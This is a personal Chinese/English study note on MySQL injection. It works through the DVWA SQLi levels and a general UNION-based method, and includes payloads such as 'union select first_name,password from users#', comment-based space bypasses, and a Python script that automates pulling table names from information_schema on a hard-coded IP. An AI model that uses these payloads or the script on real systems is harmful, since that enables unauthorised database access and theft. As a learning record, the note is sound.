MySQL注入心得

这是自己学习工程中用来复盘的,因为切换输入法不方便,基本采用英语
来写,看官朋友们遇到不清楚的单词请自行查阅,感谢观看!
另外,为了让自己方便观看,将采用倒序编写,最新的内容会在最前面

MySQL injection(注入)

本篇文章是自己学习工程中用来复盘的,因为切换输入法不方便,基本采用英语
来写,看官朋友们遇到不清楚的单词请自行查阅,感谢观看!
另外,为了让自己方便观看,将采用倒序编写,最新的内容会在最前面

Practice

DVWA-SQLi

http://43.247.91.228:81/login.php
  1. Vulnerability: SQL Injection
  • low
    omited
  • middle
    存在一个转义 $id = $_GET['id']; $id = mysql_real_escape_string($id); id=1 UNION SELECT 1,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES 因为没有限制显示的数量,所以就全都出来了 几个注意:
    1. 库名表名,如’dvwa’,必须 间接表示
    • CHAR(100, 118, 119, 97)
    • 用hex编码:0x64767761
2. 快速查询技巧:组合查询*group_concat(table_name)

3. 关于直接查询的一些问题:
    > 如果出现 “无法找到dvwa.dvwa ”的话,多半是你表名记错了(错误地填成了dvwa)
    > 实际上,应该填users(即dvwa.users)
  • high $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 后面的limit如何绕过呢,尝试注释掉:“–”尝试了,不太行,那么用“#”,可!
    payload: > ‘union select first_name,password from users#
  • impossible
    1. Anti-csrf
    2. id = $_session
    3. PDO 绑定

experience

mysql表的结构

基本步骤

1. get the number of columns, whose payload is, 找出一共有几列,数字一个个递增,直到报错:     
1 order by 2--
2. 找出到底有哪几列可回显数据:
1 UNION SELECT 1,2&Submit=Submit#
3. 注射取数据,基本payload格式如下:id=1/**/union/**/SELECT/**/table_schema,table_name/**/FROM/**/information_schema.tables/**/limit/**/2,3
利用这种技巧,你可以把所有的表名 TABLE_NAME 和列名 COLUMN_NAME 都爆出来
4.此外, 我还想强调, '/**/'是空白分隔符的 ' '一种替代,因为这个系统里面空格也被屏蔽了。
5. In the 3rd part, it's quite dull and of LOW EFFICIENCY to fetch data little by little, so i decide to make it AUTOMATIC:
第3部分中,手工一个一个取,效率太低,写了自动化fuzzin脚本如下
# coding:utf-8
# author:UncleHenry
import requests
from bs4 import BeautifulSoup
import regex as re


def getContent(xurl):
	'''
	@IN:SOUP soup
	@OUT:STR extracted content

	
	#print('soup:'+str(soup))
	'''
	HEADER = {
		'Connection': 'keep-alive',
		'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
	}
	SQLI_user_URL = 'http://47.96.138.65:45787/?id=1-1/**/union/**/select/**/database(),1,version(),user()'
	if xurl != None:
		SQLI_user_URL = xurl
		
	session = requests.Session()
	s0 = session.get(SQLI_user_URL)
	soup = BeautifulSoup(s0.content, 'html.parser')
	#可以用print(soup.find_all('center')[len(soup.find_all('center'))-1]) #找到最后一个center,比较特殊
	#print(soup.prettify)
	#用正则,取出最后一个<center>标签中的内容
	m = re.findall(r'<center>(.+?)</center>',str(soup))
	return(m[len(m)-1])
	
	
	
def fuzz_Url(xbasic_url):
	'''
	@IN: str BASIC_URL, like 
	'?id=1-1/**/union/**/select/**/database(),1,version(),'
	@OUT: str FUZZING_URL, like	
	'union/**/SELECT/**/table_schema/**/FROM/**/information_schema.tables'
	return a completed fuzzing URL
	'''
	#fuzz_ITEM = ['database','@@version','user()']
	fuzz_ITEM = ['table_schema']
	fuzz_RANGE = ['information_schema.tables','information_schema.columns']
	return(xbasic_url+' '+fuzz_ITEM[0]+' '+'from'+' '+fuzz_RANGE[0])




def limit_to_fetch_all(n):
	'''
	递归调用
	@IN:int n: STARTS AT 0
	
	@OUT:str: limit n,n+1 --
	'''
	limit = ' limit '+str(n)+','+str(n+1)+' --'
	return(limit)
	#return(' limit '+str(n)+','+str(n+1)+' --')
	# limit n,n+1
	
	
def trim(xstr):
	'''
	bypass waf
	could be DIY
	'''
	return(xstr.replace(" ", "/**/"))



if __name__ == "__main__":

	BASIC_URL = 'http://47.96.138.65:45787/?id=1-1/**/union/**/select/**/database(),1,version(),'
	#print(getContent(visitSite()))
	print("----OK, let's start----")
	for i in range(20):
		xurl = trim(fuzz_Url(BASIC_URL)+limit_to_fetch_all(i))
		try:
			res = getContent(xurl)
			print(res)
		
		except:
			print("----That's all----")
			break
		
  • Python:
    before using, the injection param should be put at the TAIL of url, which is
    from ?id=1%20UNION%20SELECT%201,user()&Submit=Submit# to ?Submit=Submit&id=1%20UNION%20SELECT%201,user()

效果如下:

  • 编程心得
    1. python regex
      • findall(r[pattern],String) //extract from string
      • match(r[pattern],String) //match string

Reasons of sqli

  1. user-provided params which directly connect to db WITHOUT filter $_GET
    $_POST
    $_REQUEST
  2. $result should be seen outside
    > echo($query)
    > echo…